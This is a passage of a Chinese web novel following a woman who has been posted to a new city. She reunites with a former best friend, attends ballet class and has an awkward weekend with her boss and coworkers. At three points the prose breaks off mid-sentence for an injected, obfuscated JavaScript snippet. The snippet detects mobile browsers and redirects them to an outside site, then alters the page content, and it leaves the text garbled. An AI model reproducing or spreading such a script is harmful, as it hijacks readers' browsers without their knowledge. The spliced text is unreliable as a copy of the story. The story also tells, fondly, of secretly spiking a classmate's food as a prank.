我也不知道该说什么,只能点点头,“老板,没有别的事儿我就出去工作了。”
快要走到门口,背后突然传来声音:“WH集团的案子我会带着你做。”
柳暗花明又一村。
孟猛听说老板准备插手WH集团的案子,快要乐疯了。
内部小群里炸开了锅,“老大出马,这把稳了。”
“老大是谁啊?文能安国武能定邦的人物,就WH这单子,我跟了小半年都没什么进展,老大接手两个月签了框架。”孟猛丝毫不隐藏对老板的崇拜。
作为大销售出身,周明凯的打单能力在总部广为流传。虽然不屑于他的品味,可对他搞定客户的手段,倒是没人有异议。他在GT总部的时候年年业绩第一,还是把别人拉下一大截的那种。可现在已经进入执行阶段了,
“别看老大不直接参与执行,可他总能精准抓住客户的需求点。老大坐镇指挥,我们只需要指哪儿打哪儿,准没错。”
“老大就跟客户肚子里的蛔虫似的。”孟猛补了一句。
“你居然敢说老大是……,你死定了。”萌萌引用了孟猛的话,还发了个邪恶魔鬼的表情。
孟猛打了!!!之后疯狂刷屏,不知道又在发什么疯。
……
夏蕾来找我的时候,我还在工位上发呆。
在她的小隔间里,她像是拉家常一样询问我对公司的印象和同事们的相处情况,“我们很关心员工的精神健康……”
果然,落脚点还是在我的精神状态。丝毫不怀疑是周明凯让夏蕾来找我聊。
“T市跟S市有很多不同,我……有些不适应。”
“我相信,我相信……”她忙不迭地回答,“到一个新的环境,没有认识的人,总是要有一段时间重新适应……老板也是关心员工。”
她这里摸摸那里看看,很忙碌的样子,“如果需要找人聊聊随时可以找我……对了,员工手册你是不是还没看过?上面有心理服务的联系方式,有需要的话可以电话咨询。我也没什么别的意思,你知道,有时候把烦恼跟陌生人说说更有帮助……”
我点点头,回工位后把员工手册翻了出来。领了之后就随手扔在了抽屉里,也没仔细看过。
这本的确比原先入职的那本厚,多出了商业保险使用流程、推荐医院以及健身福利,最后一页上有心理救助服务热线。我很确信原来那本员工手册没有这些内容。
奇怪,福利不应该是全公司统一吗,为什么总部反而没有。
不知道是不是周明凯关照过,夏蕾对我的关注度比以前高了不少,时不时会来找我聊一聊。
她再一次来找我聊天时,我告诉她:“我打过电话了,心理医生说我只是到了新环境有些不适应。”
夏蕾一副慌乱的表情,“这个……是你的隐私,你不用告诉我。”
一来二去,我跟夏蕾熟悉了不少。
“哎呀,傻姑娘。你们那个露西明明是欺负你不懂,外派员工都要跟员工协商的,哪有说调就调的。”夏蕾得知我被派到T市还只给了我两天搬家时间时,为我打抱不平。
我已经明白了露西让我自己写申请的原因,早已不再愤怒。说起来,我还应该感谢露西。要不是她,我大概还在稳定的岗位上稳定地混日子。
“不过你算是因祸得福,我们老板有能力还护短。”
周明凯护短?他那个万年大冰块,说他正直公正大公无私,我信。护短?我不信。
25. 第 25 章
难得的一个礼拜六,从凌晨就开始下小雨,我睡了个好觉。这样的睡眠已经很久都没光顾过我,我翻个身,想要继续睡。
窗外雾蒙蒙的灰暗,能见度很低,整个房间几乎是笼罩在昏暗中。雨打在窗外的树叶上,发出悉悉索索的声响。难以言喻的心安沿着昏暗的光线在空间里蔓延,我不禁发出舒适的慨叹。
今天是有芭蕾课的,可我懒洋洋地躺着,完全不想起来。脑子里不断盘旋的念头是翘掉芭蕾课,在家里躺尸。下雨天最适合睡觉,其次是泡壶茶看书。但这两样,我都已经很久没享受过了。
我喜爱下雨天,前提是不用出门,没有黏糊糊的如蛛丝一般的雨缠着我,没有瓢泼大雨打湿我的裤腿……可T市的雨很调皮,它总是在工作日的工作时段造访,夜晚和周末也仿佛是它的休息时间,它赖在云层之上,在它的被褥里翻滚偷懒。
好不容易有一个在周末的雨天,说什么也不能错过。
雨声是最好的催眠曲,我昏昏欲睡,正在往梦的深处坠落时,一阵铃声抓住了我,拖拽着我回到现实世界。
迷迷糊糊抓起手机,看到“许逸晨”三个字,我猛然清醒,直直地盯着手机,怀疑自己是不是看错了。
揉了揉眼睛,手机还在响。
我接起电话。
“是不是吵着你睡觉了?”
“啊……没有。”我下意识否认,可下一句就暴露了,“现在几点了?”
她噗嗤一声,“还早着呢。你今天有空吗?一起喝个咖啡?”
我从床上坐起来,抓着自己蓬乱的头发。轻轻叹一口气,不能在家睡觉了。可我没办法拒绝她,她是许逸晨,我曾经最好的朋友。如今她已经迈出了我想要走的那一步,如果我放弃的话,就没有机会重新建立联结。
洗漱收拾,十点不到就赶到了咖啡厅。她已经到了,我一进门,就冲我招手。
“卡布奇诺?”单单这一句,我就差点绷不住。
坐在她对面,我依然感觉自己像在做梦。
修剪利落的短发,面庞消瘦——婴儿肥已经全然从她脸上褪去,尽管曾经圆润的脸线条现在依旧流畅,仍跟我记忆里的许逸晨相去甚远。没有变化的是眉眼和唇边的梨涡。
“你还好吗?”连我自己都觉得这句问候是那样的苍白无力。
她笑了一下,说挺好的,问我是来T市出差还是旅行。鬼使神差的,我没有告诉她,我被外派来T市,只说自己是跟一个项目出差,会在T市待一段时间。
“你怎么知道我来了T市?”
她打开朋友圈,指着我那条带了定位的消息——我在飞机抵达梦华机场的时候,随手拍了一张外面的飞机。
说是喝咖啡,实际上,她只是浅浅地啄了一口拿铁。
为了拉近距离,我指着她面前的咖啡问:“今天的第几杯?”
以前她一早起来就喝咖啡,至少要喝两杯。
“现在上午十点后就不喝,对咖啡因敏感。晚上容易睡不着。”
还有什么是没有改变的?我怅然若失。
我们有一搭没一搭地聊着,各自交代自己这两年的境况,都是些琐碎零散无关痛痒的事情。我们跟任何日渐疏离的关系一样,都在试探着重新接近。我们像是熟悉的陌生人,伸出手想去触碰,又怕自己过于唐突。
“我离婚了。”她突然说:“现在带着女儿住。”
我吃了一惊,“什么时候的事儿?”
她轻轻摇了摇头,“都过去很久了,我不想再说。”
曾经那个眼睛里闪着对未来无限盼望的女生,此刻显得疲倦憔悴。
我不知道该说什么,拿一个秘密交换另一个秘密,是我俩不成文的约定。她似乎没有把它当作一个秘密,但我仍然觉得,我需要拿出我的诚意。
“我跟肖平也分手了。”
她讶异地瞪大了眼睛,但不过一瞬,就恢复了原样,自嘲地笑了笑,“没有什么会永垂不朽。”
随着吐露心声,横亘在我们之间那块看不见的玻璃墙逐渐消弭。仿佛一颗尖锐的钉子扎在玻璃墙上,从中心破碎延展至无限,迸裂开来,碎片四溅,最终消失。
“你还记得乔巧吗?”
我俩相视一笑,那些鲜活的记忆突然就涌入了脑海。
在没有恋爱的少女时代,我们是最亲密的好友。那个时候我跟肖平才刚刚互有好感,有个叫乔巧的女同学对肖平很有那么点意思。许逸晨不知道从哪儿知道她打算在圣诞节跟肖平告白,于是她先发制人,把那簇小火苗掐灭了。
学霸整蛊人也很有一套。
她以乔巧的名义写了小纸条约了肖平,然后又给乔巧递了小纸条。拉着我蹲在情人坡旁边小树林的一个视觉死角,把一个充气坐垫往身后一放,神秘兮兮地说请我看场好戏。那个时候,我还不知道那个小工具有什么用处,埋怨她不给我准备一个。她笑得很邪恶,说还不到用的时候。
我们比约定时间早到十五分钟,我蹲得实在累,一屁股坐在了地上。春季的小树疯狂地抽芽长叶,我们躲避的位置正好可以透过小树间的缝隙看到情人坡的情况,又被树叶遮掩。
大概十分钟后,肖平来了。他踢着小石子,一副不耐烦的样子。
我看见肖平就想要出去,许逸晨一把拉住我,压低声音在我耳朵边叮咛稍安勿躁。
乔巧是卡着点来的。
他们离我们蹲的地方大概只有两三步远,我感觉我的心脏快要跳出来了,使劲捂住了自己的嘴巴。
乔巧扭扭捏捏地刚开口:“肖同学……”
许逸晨往垫子上一坐,发出响亮的“噗”的一声。
乔巧慌张地四处张望,但没看到任何人。
肖平很是不耐烦,“你找我什么事儿?没事的话我回去了。”
乔巧刚准备说话,许逸晨又微微站起来,猛地往坐垫上一坐,发出巨大一声“噗嗤”……这屁声像震天雷一样响。
肖平盯着她,乔巧的脸涨得通红:“不是我……”
“真不是……”她话还没说完,又是“噗”的一声。
她都快哭了。
突然,她弯腰捂住了肚子,皱着眉头,脸上的表情很扭曲。
肖平尽管不耐烦,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672129|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但看她的样子,还是问了一句:“乔同学,你没事吧?要不要送你去医务室?”
“我……”这下她真的哭了出来,捂着肚子夹着腿跑了。
许逸晨冲我挑挑眉,“我中午约她一起去吃饭,给她加了点料。”
自此之后,乔巧再也没找过肖平。就算迎面碰上了,都会飞快地躲过去。
事后,我怪许逸晨事先不跟我说,她辩解道:“我这不是顺便帮你试试肖平有没有不老实。”她委屈巴巴地投诉:“乔巧说要吃螺狮粉,我都忍着吃了。”
许逸晨对人好起来,掏心掏肺。
“你没试出来,肖平最后还是不老实。”
我搅动着咖啡,其实我们还是太单纯,肖平去赴约,就说明了他对于诱惑的态度。
虽然很久没见了,可重新聊起那些事儿,曾经一起经历的那些时光仿佛就在昨天。
“你后面怎么打算?”许逸晨搅着面前的饮料,好像只是随口一问。
我茫然地望着她,不知道她到底想知道什么。有一份工作,能长久干下去,还需要有什么打算?我还没准备好再谈恋爱。
“考不考虑在T市定居?还是打算只作为过渡,项目做完就回S市?”
我对这个城市仍然陌生,可对S市,更多的是习惯,也谈不上喜爱。
许逸晨看了我一眼,“两个城市我都待过……S市一直是跟红顶白,适合想要跨越阶层卷生卷死的那一类人;T市更适合平衡工作和生活。”
“你已经做出选择了?”
许逸晨点点头,“除非很有钱,否则S市只有工作没有生活。我更喜欢T市,是一个有人味儿的地方。工作是为了什么?最终还是会回归到生活里。”
许逸晨一直都比我清醒,她知道未来不意味着下一刻,而是意味着长久的至少五年以上的人生片段落在哪里。
其实,选择城市需要清楚了解自己是谁,自己是什么样的人,才能知道哪个城市是自己能够肆意生长和安放灵魂的地方。只是,我长久以来,在物质的世界里沉沦,忽略了自己的灵魂——她在岁月的洗涤中或许没有褪色,可也没有成长。
我想跟许逸晨一起吃个午饭接着聊。她看着表,一脸歉意地表示她要去接孩子,说下次再聊。可没有约好的下次,是不是只是礼貌呢?
许逸晨走后,我呆坐在咖啡馆里,搅动凉了的咖啡,问自己:如果我选择了T市,那从小镇离开,消磨在S市的那些时光是有意义的吗?
雨已经停了,空气里混杂着潮湿泥土和清新青草的气息,叶子洗掉了浮灰,满眼都是干净的绿色。
回到家,我坐在沙发上发呆。曾经,我以为结婚生子就完成了人生最重要的事,但我从没想过,结婚了还会离婚……没有什么能保障感情永远保鲜不过期,就连防腐剂也不行。
已经没了继续睡觉的想法,去公司吗?没有提前在系统提交OT申请,加班也没有加班费。况且,去公司也不过是对着电脑发呆。
无事可干,还有漫长的一整个下午。
原本想翘掉的芭蕾舞课倒反而成了眼下最好的选择。
26. 第 26 章
我夹在一群小朋友中间学芭蕾。他们纤细修长,相比之下,我就像是一只庞大的熊误入了天鹅的领地。
在更衣室里,一个小女孩仰着头对我说:“阿姨,你真好看。我长大了也要穿这样的裙子。”我一方面为自己成为“阿姨”而感伤,明明前几年还是被叫“姐姐”;另一方面因为她的称赞稍稍恢复了为数不多的自信。
课前的例行压腿,我在一堆柔软的像棉花糖一样的孩子里矗立如木,疼得呲牙咧嘴。从小,我就属于筋骨板硬的,别的小姑娘可以轻而易举地一字马,下腰弯拱桥,而我劈到一半就卡在空中,从来没有双腿贴过地面,也从没倒着看过世界……可能这就是我单一看世界的原因,从小我就没有从不同的角度看过这个世界。
屈膝、擦地,我站在扶杆尽头,看着一个个软乎乎却昂着头像骄傲小天鹅一样的孩子,心生艳羡。尽管她们东倒西歪,额头上汗水啪嗒啪嗒地往下掉,可小脸上满是倔强和快乐。我像是休止符和惊叹号,在队列的最后充当结束,对自己跑来学芭蕾的抽风行为表示不理解——他们学习舞蹈是为了未来无限的可能性,我是以自身为表率彰显“老大徒伤悲”。
下课后,小朋友们叽叽喳喳套上外套作鸟兽散,而我动作缓慢,像是遭受了一顿毒打,体力透支,双腿无
为了错开来接孩子的妈妈们,我慢吞吞地换衣服。在最后一个小女孩被接走后,我推开更衣室的门离开。刚走到走廊里,远远传来一声,“哎,安小姐,你在这学芭蕾吗?”
我转过头去,一个纤细的身形逆着光走过来,面目模糊。在T市,我还认识谁呢?
等她走到面前时,我眼前的光晕才显出她的样子,原来是海滩小屋里的那位黄金女郎俞渔。
“好巧。你不认识我了?”
“怎么会。刚刚逆着光,看不清。”
“我在这里教芭蕾。”难怪她脖颈纤长,轻盈得像只天鹅。她穿着芭蕾舞服,双腿纤长,头发盘成发髻,额边细碎的头发垂下来,看上去毛茸茸的,整个人柔和美好,散发清新宜人的淡淡味道,就像是刚刚下过雨的天空。
幸好黄金小开况顷舟不在,不然又是虐狗现场。
没想到,我们刚聊两句,况顷舟从外面走了进来。
“今天想吃什么?”他穿着修身衬衫,西装搭在胳膊上,看样子像是从公司直接过来,“我问过老余,有空运刚到的刺身,想不想去?”
俞渔轻轻捶了他一下,“不是跟你说过,不用来接我吃饭。”
“你自己会好好吃饭吗?还不是一个苹果打发了。”
来上个课还被塞了一嘴狗粮,二十四孝好男友都是别人家的。
“安小姐在呢,也不怕被人笑话。”她嗔了一句。
我装作没有看见,低下头去看自己的鞋子。来的路上又开始下雨,雨不大,但鞋头上仍然粘了些许泥巴。
况顷舟才看见我,他丝毫不觉得尴尬,温文尔雅地问了一句:“安小姐,不知道WH集团有考虑重新出那一季的婚纱吗?
我顿时心虚,上次以为不会再有机会见面,我也没澄清自己的身份。
俞渔马上眼睛亮晶晶,像是星星那样闪着,巴巴地望着我,像极了想要吃鱼的小猫咪。如果告诉她真相,星辰都会暗淡,我只能含混敷衍过去,““还没这个打算……”
她热切地盼着经典重现,而我却压根没把这件事放心上。我们对陌生人的善意,或许有,但确实非常有限。
“不然我们加个微信,有消息了麻烦你告诉我一声。”她冲我眨眨眼,“安小姐,上次你走太急了,咱们也没留联系方式……等我换个衣服,一起吃个饭吧。”
我说自己后面还约了人。况顷舟问我去哪儿,顺路的话可以送我一程。只好说朋友会来这找我。仓皇地跟他们告别。
况顷舟说这里不方便停车,外面还在下雨,让俞渔换完衣服在门口等,他把车开过来。
她的鞋一尘不染。
这些活在蜜月里的情侣,真是不顾别人死活。
我躲在小角落里等他们先走,听见他们在交谈。
“如果买不到WH那条经典款,我们飞巴黎碰碰运气,看看能不能请设计师定制。”
“但那要好久呢……”
“总得让你穿上心仪的婚纱,嫁给我。”
你看,有些姑娘可以为了等一条婚纱而不断推迟婚礼,丝毫不慌乱,随心所欲。我嫉妒她的笃定,也嫉妒她获得的包容。说什么人生来平等,或许我们在人格上确实是平等的,可是在收获幸福的可能性和概率上,决计跟平等扯不上关系——有些人天生就更容易幸福,而有些人总是在各种不幸中挣扎。
原本我已经快要说服自己了:这个世界上有无数结了婚然而不幸福的案例。但此刻,这一对站在我面前,铿锵有力地宣告,不幸福只是没有遇见对的人。
况顷舟为俞渔拉开车门。我默默看着车越开越远。当它汇入主干道再也看不见的时候,我才走了出来。
一阵暴雨突然淋了下来,我把包顶在头上一路冲到地铁站,还是湿透了。懊恼不已,早知道就蹭他们的车了。
真是倒霉!来上芭蕾课是为了消除无聊和打发时间,结果却是打击自己和艳羡别人。
尽管回家就冲了澡喝了姜茶,可依然有感冒的症状。外卖叫了药,两包药泡成浓浓的一杯灌了下去。我想再睡一觉会好得快一些。可等了半个多小时,没有睡意。打开电视当作白噪音,那种茫然不知道前路在何方的感觉,又一次在我身边鬼鬼祟祟地探头探脑。
这种茫然,只在我的生命中短暂出现过一段时间。后来,我忙着谈恋爱,忙着研究化妆打扮,忙着把自己融入到灯红酒绿的都市生活中……它已经很久不来造访。
时间在我身边欢乐地溜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672130|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走,而我连伸出手去挽留一下的力气都没有。
是麻木吗?还是懈怠?我不知道你有没有过这样的经历,世界失去了色彩,没有任何一件事让你感觉到自己还在热烈生动地活着。
许逸晨的话又在我脑子里盘旋。
我并没有想过在T市扎根生活,来T市之于我,原本不过是一种妥协,一种在走投无路情况下不得已的退路,它甚至从来没出现在我的人生选项当中。自然,我也就从没认认真真想过,是不是要在这个城市生活下去。一直以来,我不过是随波逐流。
每一天都是苍白无力的,就像静默的河水一样,以它自己的节奏向前涌动。
可这样就不是幸福吗?
梦想太沉重了,做条咸鱼也没什么不好。
可我又该如何排解如今的无措呢?
两种思绪来回拉扯,我更加茫然,究竟什么样的人生才是我真正希望过的呢?
我惶惶然不知所措,一个小时接一个小时地发呆。
就在我自怨自艾的时候,萌萌的信息拯救了我。
“兄弟姐妹们,明儿都没安排吧?来我家暖个房啊。”
我几乎没有任何犹豫就回复了她。这种救我于水火当中的信息,当然是有多快回多快。
陆陆续续,觅觅、小妍也回复了。
“明天吃烤肉吧,再整上两罐啤酒。”孟猛回得也很快。
这会我感觉到饿了。抬头一看钟,已经是下午两点多了,午饭还没吃。
去厨房煮了个泡面,不想多洗一个碗,端着锅坐到了风扇前。汗涔涔地往下流,这还没到盛夏,温度已经挺高了。微信已经三十多条未读消息了,等面凉的空隙,我开始爬楼看他们说了些什么。群里他们七嘴八舌商量着明天的安排,从中午吃什么到下午怎么玩儿。
夹了一筷子面往嘴里塞——大部分都是萌萌和孟猛在聊天,夹杂着小妍说了两句,突然看到有个微信名叫雷蒙德的陌生人回复“地址”两个字,我愣了一下。
私信萌萌,“这个雷蒙德是谁啊?”
萌萌回信息很快,“老大。”
!!!
差点被一口面噎死,“你什么时候把老板拉进小群了?”
萌萌打了个问号给我,“早就在了啊……”仿佛晴天霹雳,我赶紧爬楼去翻自己有没有什么不恰当言论。毕竟没有领导在的群,大家都比较放飞。
翻了几屏之后,我放弃了,顺便嘲笑了下自己的智商——像周明凯那种工作狂,怎么会有空看小群里消息。这次大概也是因为萌萌艾特了所有人,他才回的吧。
黑暗重新掌握地球的统治权时,我感觉内心无比的安宁熨帖,那是一种有期盼的笃定。我知道当太阳再次升起的时候,有一件我可以去干的事情。
把被子堆成一个小碉堡,然后我平平地躺了下去,轻轻地对自己说:安冉然,晚安。
27. 第 27 章
我做了一个梦。
回到了高考的第一天,我一觉醒过来,还有半小时就要考试了。
我妈一边给我装文具一边念叨,“喊你起床就在那磨蹭。”
跑到学校门口,门口大爷一脸慈祥地望着我,说:“小同学,你的考点在哪儿?”
考点,我的考点在哪儿?
我茫然地望着校门,我不在学校考试能去哪儿呢?
大爷和蔼地对我说:“看看准考证。”
我在包里狂翻,可怎么也找不到准考证。
终于在夹层里翻到准考证,二中!我的准考证上考点是二中。我们学校离二中不过几百米。
等我气喘吁吁跑到二中门口,举着准考证准备进去,门口保安拦住了我,“同学,你迟到超过十五分钟,不能进考场。”
我在二中门口哭得稀里哗啦的,觉得这辈子完蛋了,我的人生会因为没参加这场考试而落入深渊。
就那么站在那里,我一直哭一直哭,直到把自己哭醒过来。
哽咽着醒过来的时候,我像一尾快要窒息的鱼一样。
尽管知道是梦,可那种恐惧的感觉太过真实。我怅然若失,悔恨不已。我为什么连最重要的考试地点都记不住呢?就像我在现实中,经常忘记那些重要的事,在不合时宜的时间里做不合时宜的事情。也许就像我妈曾经说过的,不是记不住,是不重视。
在现实中,我高考还算顺遂:尽管数学一贯不是我的强项,竟然考得差强人意;英语和语文正常,文综还超水平发挥了。
但这一切,主要得益于我妈事无巨细地盯着。
高考前一天,她就开始盯着我准备文具、检查准考证,晚上十点不到就让我喝牛奶睡觉。高考三天,她充当人形闹钟,准时准点把我叫醒。
在我还迷迷糊糊,起床气还没完全成型之前,她就甩来一记凌厉眼神,把我庞大的睡意驱逐出境:“平时怎么胡闹都好,这三天,叫你就要乖乖起床。”
虽然我在我爸面前耀武扬威,可在秦女士面前,就跟耗子见到猫一样。
在高考这场战役中,我妈是运筹帷幄的军师,我爸是保证军需的后勤,而我是那个冲锋陷阵的小卒。
在床上坐了好一阵儿,才渐渐缓过神来。
在人生的前三十年,我缺乏为自己做决定的勇气。在上大学之前,凡事有我妈;到后来,肖平接了棒……我只要在他们画好的范围里做有限的选择,最后的决定看上去像是我自己做的,其实在被框定的可选项当中,我必定会选中那个看上去最优的选项。
我重新倒下去,抱着被子想再睡个回笼觉,但翻过来覆过去,脑子里像仓鼠转轮,它前后不停旋转跑动,发出尖叫声,震得我的耳膜发胀。太阳穴突突地颤。外面天已经大亮,光线透过窗帘间的缝隙努力挤进房间 ——必须要换窗帘了,我深深吸了一口气。
眼下,根据我对自己的了解,睡眠时长能超过四个小时就算是非常巨大的进步了。我摸过手机一看,果然,才七点一刻。磨磨蹭蹭在床上赖着,好像这样就能抢回那些本应该用于睡眠的时间。
躺到实在是无聊的程度,起床洗漱,白桃味道的牙膏很是治愈。我想起觅觅酷酷地把礼盒往我桌子上一放,“新员工福利,独一份。”然后小妍凑到我面前,催促我赶紧打开看看。打开盒子,里面有一支洗面奶,一只牙膏和一支护手霜,惹得其他人都很眼红,纷纷谴责自己的“前任”给的礼物多么不走心。
小礼物的传统,是从萌萌始创的。她送了孟猛一个痰盂造型的水杯,让他“多多喝水多上厕所”;接下来孟猛送了小妍一个马桶造型的香薰,纸条上写着:好好感受工作“粪”围;觅觅入职的时候小妍送了一支画笔,算是比较正常的版本了。
我总算知道为什么他们对我的礼物如此羡慕了。跟他们的礼物相比,我的新人礼如此这般实用且温馨。画笔固然不错,可对其他人都很鸡肋。
老实说,我以前从来没想过,我会在职场上碰到这样一群人,让我感受到什么是团队,什么是人与人之间的善意和关怀。
当我满嘴泡沫,从浴室一路晃荡到客厅,盘着腿坐在沙发上时,门铃响了。
我叼着牙刷去开门,心下嘀咕:“我没有叫外卖,最近也没买什么东西啊……”
“我顺路,看看你要不要一起。”
我跟周明凯四目相对,都愣在了原地——他穿着蓝色条纹Polo衫配休闲裤运动鞋,跟上班的风格迥异。
指了指沙发,我慌忙跑去卫生间吐掉嘴里的泡沫,胡乱洗了一把脸,局促不安地跑出来,“老大,你怎么来了……我换个衣服就好。”
他显然也有些尴尬,“不用着急,等你收拾好。”
他的解释听上去有点奇怪,“我正巧在附近,想着顺路带你。给你发了微信,你可能没看见。”
一阵兵荒马乱,我怀疑自己是不是记错了聚会时间。
我觉得今天时间充裕,昨晚也没搭配衣服。手脚并用地打开衣橱找行头,周末总不能穿得跟上班一样。可我的T恤去哪儿了?
好不容易找到了T恤,又找不到白色的休闲亚麻裤了。我都快把自己埋进衣橱里了也没找到裤子,正沮丧着,瞥见裤子搭在床边的椅子上。
一手去抓扔在椅子的裤子,一手滑动手机解锁打开微信——小群里萌萌发了地址之后,还附上了一句话:“大家都睡懒觉吧?下午两三点到就行。”
再看看时间,现在九点还不到。
周明凯和孟猛大概跟我不是同一个物种,他们周末都不睡懒觉的吗?我如果不是最近的睡眠障碍,必定每个周末都在舍生忘死地跟周公纠缠。
门铃又响了,“冉冉,你起了没?咱俩一起走啊!你吃早饭了……没?”
我在房间里听见开门声,紧接着就是孟猛像见了鬼一样劈了叉的声音,“老大,你怎么在这?”
周明凯的声音一如既往低沉且淡定,“顺路。捎上你们一起走。”
匆匆忙忙套上T恤,绷上裤子,以百米冲刺的速度冲出去——周明凯和孟猛一人坐在沙发的一头,周明凯还是一贯的冰山扑克脸,孟猛显得很拘谨。
我一冲出来,孟猛一下站了起来。
在两个人的注视下,我的脑子一下塞住了,脱口而出:“还不走吗?”
孟猛用奇怪的眼神看了我一眼,“这不是在等你吗?”
然后,他转过去,搔了搔后脑勺,“老大,你家不是住梦霆小筑吗?在西边呢。”
这家伙真不愧是双线程,还能分支流来分别应对。
“附近有个新楼盘,顺路去看看。”
“老大,你那房子不是挺好的吗?怎么又打算换啊?”
“先看看,不一定买。”
幸亏有孟猛这个话痨在,避免了我面对老板不知道该说什么尴尬。
可在车上就没这么顺利了,我想继续当哑巴,平素总喜欢说冷笑话的孟猛也一声不吭了。氛围顿时有点压抑,原本宽敞的SUV都感觉有些逼仄了。
“怎么不说话了?在群里不是挺活泼的吗?”
我以为是在说孟猛,没搭腔。
“安冉然,平时在群里的活跃度呢?”
我两眼一黑,自欺欺人的谎言被自己戳破了:看来老板在群里虽然不说话,但对于群里的动静了如指掌。小群里我说话不算最多,但也完全不能算少。
只能硬着头皮回:“起得有点早,大脑开机速度有点慢。”
他的嘴角微微抬了下,没再继续追问。
我松了口气,悄悄摸出了手机,开始消磨时间。在漫长的空白里,我渐渐摸索出应付时间且不花钱的门路,微信里有各种游戏小程序,不用下载APP,非常方便。最近我又重新开始玩水果消消乐。把手机声音关掉,专心致志地消除掉三个,再消除掉一排,再来一个炸弹,完美!
孟猛在旁边默默掏出了耳机,我俩对视一眼,很有默契地在后座装死。
……
尽管一起吃早餐的氛围有点诡异,可是这家店的油条又酥又脆,豆浆醇厚,包子皮薄馅多,我实在是抵抗不了诱惑,埋头开吃。吃着吃着,我想起跟肖平还在互相试探的阶段,许逸晨约了我们去网吧通宵,第二天一早去小吃摊,一人两个包子一碗豆浆,突然就没了胃口。孟猛咬了一口油条,又夹了根油条放我盘子里,“冉冉,你试试这油条,太好吃了。” 周明凯看了他一眼,“早饭你请。”孟猛瞬间吃得不香了。
如果说三个人一起吃早餐没什么大不了的,那么我的人生到目前为止,所有尴尬事件的诡异程
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672131|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
度都比不上三个人一起去看房。售楼小姐理不清楚人物关系,也不知道谁是金主爸爸,不敢轻易开口。
周明凯倒是像逛自家花园似的,慢悠悠地绕着沙盘模型看。我和孟猛就俩小跟班,他转悠到哪儿我俩跟到哪儿。借着这个机会我好好观摩,平时我压根不会看这种高端楼盘,反正看了也买不起。今天就狐假虎威一次。
售楼小姐终于认清了谁是金主,开始向他热情介绍,并邀请我们去样板房参观。样板房是开阔的大平层,客餐厅一体,双阳台,据说一楼还有个入户小花园。我已经能想象出住在这里会是多么愉快,可人和人是有差距的,大平层并不能满足老板的需求。
周明凯提出想了解下独栋小别墅的时候,售楼小姐的双眼明亮得如同暗夜里的星星。我在心里默默盘算,独栋别墅得花多少钱买,售楼小姐报出了总价,欸?居然不是天文数字。T市似乎……房价感人。
从售楼处出来才不过中午,我们吃完饭到萌萌家时两点不到,T市周末居然不堵车。看到我们仨同时来,萌萌疑惑地说:“你们在门口碰到的?这么巧呀!”我和孟猛都没吱声,周明凯问:“不带我们参观一下?”
我们参观了她的顶楼小复式,除了一楼和二楼之外,还有个天台。等人到齐了,就在那个虽然不算特别大但精致可爱的客厅里吹空调喝饮料吃水果,然后玩桌游。六点钟不到,外送食材都到了,等太阳落山,热气散去,萌萌指挥孟猛从储物间拿出烧烤架,拎着上天台烤肉。周明凯非常自觉地拎上了食材,觅觅和我拎啤酒饮料,小妍则拿着一个小马扎。
萌萌家的天台非常安静,中间是一张实木长桌,配两条长木凳……户外遮阳伞收起来立在旁边。有情调的吊篮秋千站在遮阳伞旁边,我猜她大概没事就会来天台看星星。
吊篮秋千获得了姑娘们的一致青睐,男同胞们则表示利用率不高。果然来自两个星球的生物想要和平生活在一起,必然有一方进行了伟大的妥协。
烧烤架摆好,食材清洗干净,按一组传统,男士负责烧烤,女士负责吃。
我们坐在桌子的两边,方便聊天。两位男士烤的肉和蔬菜都相当有水准,我们吃着串儿喝着小酒,着实美滋滋。
从房顶往外望去,能看到T市的大部分景观。老城区的房子能看得出都颇有些年头了,墙上爬满了青绿的爬山虎,入眼即是清凉。星星似乎离得很近,好像只要一伸手就能摸到整片星空。晚风习习,凉爽到让人想要歌唱夏日的美好。梦中情房也不过如此了。
我们喝着啤酒吹着晚风,因为酒量一般,我喝得非常克制。没想到周明凯的酒量还不如我,大概也就两罐啤酒下肚,他的脸上就泛起潮红,像是微醺了。
“老大,你还行不行?”孟猛扒拉了桌子上的啤酒,“行的话我再下去拎一打上来。”
萌萌啪得一声拍在孟猛手背上,“敢问老大行不行,你胆子也太大了。”
周明凯摇了摇自己的脑袋,“不行了不行了,不能再喝了。”
“老大自己说他不行了。”孟猛趴在桌子上,抬着头煞有介事地说。
小妍和觅觅在旁边憋笑快憋出内伤了。
“怎么没人告诉我,老大是这样的?”我悄悄问萌萌。
